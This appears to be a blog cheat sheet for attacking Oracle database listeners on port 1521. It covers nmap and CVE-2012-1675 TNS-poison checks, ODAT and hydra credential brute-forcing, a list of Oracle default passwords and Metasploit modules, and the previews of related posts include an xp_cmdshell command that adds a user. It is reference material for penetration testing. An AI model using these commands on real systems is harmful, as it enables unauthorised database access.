Skip to main content

Pentesting Oracle TNS listener/ Database - Port 1521

By

 

#nmap
nmap -Pn -sV -p1521 --script=oracle* 10.10.10.10

#Check for service Version
#Oracle Database 11g 11.1.0.7, 11.2.0.2, and 11.2.0.3, and 10g 10.2.0.3, 10.2.0.4, and 10.2.0.5,
#try this exploit 
GitHub - bongbongco/CVE-2012-1675: Oracle Database TNS Listener Poison Attack Vulnerability 
 nmap -Pn -sT --script=+oracle-tns-poison.nse -p 1521 10.10.10.10

Oracle SQL:
1521/TCP
1630/TCP
3938/HTTP

ODAT - Oracle Database Attacking Tool

#Download the release 
https://github.com/quentinhardy/odat/releases/
tar -xvf filename

#Run 
./odat all -s 10.10.10.10
./odat all -s 10.10.10.10 -d SID_NAME
./odat all -s 10.10.10.10 -d ''

#Check with creds
./odat all -s 192.168.1.254 -p 1521 -d ORCL -U SYS -P password

#bruteforce when you know SID
./odat all -s 10.10.10.10 -d '' --accounts-file accounts/accounts_multiple.txt

#Enum - Doesn't work if password protected 
sudo apt install tnscmd10g

#Version
tnscmd10g version -h 10.10.10.10
#Status
tnscmd10g status -h 10.10.10.10

#Login to DB
sqsh -S IP_Address:PORT -u username -p password

Brute Forcing 
#Passwords
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 10.10.10.10 oracle-listener
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 10.10.10.10 oracle

#SID
#Download wordlist from here
hydra -L /usr/share/oscanner/services.txt -s 1521 10.10.10.10 oracle-sid

#Brutefocing Creds - Require SID
./odat passwordguesser -d SID_NAME -s 10.10.10.10 -p 1521 --accounts-file accounts/accounts_multiple.txt

Default Passwords

DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
PCMS_SYS/PCMS_SYS — Default x account
WMSYS/WMSYS — Default x account
OUTLN/OUTLN — Default x account
SCOTT/TIGER — Default x account

Metasploit

use auxiliary/scanner/oracle/sid_enum
use auxiliary/admin/oracle/tnscmd
use auxiliary/admin/oracle/sid_brute 
use auxiliary/admin/oracle/oracle_login
Labels:

Comments

Post a Comment

Popular posts from this blog

POC Links for CVE's

By
  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main
Post a Comment
Read more

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...
Post a Comment
Read more